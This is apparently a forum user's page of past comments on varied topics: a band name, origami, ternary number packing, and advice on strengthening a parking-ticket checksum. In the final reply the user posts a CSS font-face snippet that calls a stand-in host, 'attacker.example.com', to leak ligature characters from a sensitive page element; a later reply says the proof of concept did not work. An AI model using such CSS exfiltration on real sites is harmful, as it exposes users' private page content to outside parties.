jo-han
Re:The 15-year search for a band that charted once and vanished
on Thursday October 08, 2026 @03:04AM (#50002642)
A Lesson In Crime - that's Tokyo Police Club :)
Re:AI-assisted proof of optimal packing for 11 squares
on Wednesday October 07, 2026 @10:37AM (#49993491)
Re:Why My Father Is Wrong: A Defense of Guitar Hero
on Tuesday August 11, 2026 @02:11AM (#49253969)
It's called fee[dB]ack now, at https://got-feedback.org/
The project got renamed after a DMCA takedown.
Re:3D Modeling with Paper
on Saturday September 13, 2025 @02:00AM (#45229700)
This paper discusses constructing heptagons, with some history and the maths.
http://origametry.net/papers/heptagon.pdf
It shows both a single sheet and a modular version.
Re:How to pack ternary numbers in 8-bit bytes
on Thursday December 05, 2024 @02:18PM (#42331577)
Do -1, 0 and 1 all occur with the same frequency in typical large language models or would there be a benefit in encoding 0 with 0 and -1 and 1 with respectively 10 and 11? (or something even more complex)
Edit: probably not when easy retrieval is needed.
Re:Unpaid Laborers Are 'Slipping Pleas for Help into Zara Clothes'
on Wednesday November 08, 2017 @03:20AM (#15650605)
pictures of notes (not handwritten though) are shown in: https://twitter.com/trtworld/status/927528929279307776
Re:Hacking a parking ticket system
on Monday November 09, 2015 @07:23AM (#10532601)
The checksum algorithm they used will only produce 73 different checksums (00000000-99999999: 0-72) - and all of them even. There is space for 9999 different values.
Tips to improve: f(x) = ( x * secret) mod 1000
- mod 10000 instead of mod 1000 (as mentioned in the article)
- make sure the 'x' varies between 0-9999 (e.g. by splitting the number in half and adding the parts 03001909 > 0300+1909 = 2209)
- make sure the 'secret' is larger than 10000 and non-divisible by factors of 10000 (2 and 5) (e.g.: 54321)
Pretty sure it wouldn't be so easy to hack then.
Re:CSS Based Attack fontface
on Monday November 02, 2015 @02:22PM (#10494382)
Khaled, you're right - it doesn't work. The characters are not substituted. I made a quick proof of concept, but it triggered for the wrong reasons. Bummer.
Re:CSS Based Attack fontface
on Monday November 02, 2015 @07:18AM (#10491447)
Nice, and by using 'font-variant-ligatures: common-ligatures;' you can actually try to harvest character combinations as well. For example:
@font-face {
font-family: poc;
src: url(http://attacker.example.com/?ff); /* ff */
unicode-range: U+FB00;
}
#sensitive-information {
font-family: poc;
font-variant-ligatures: common-ligatures;
}
(edit: improved formatting/explanation)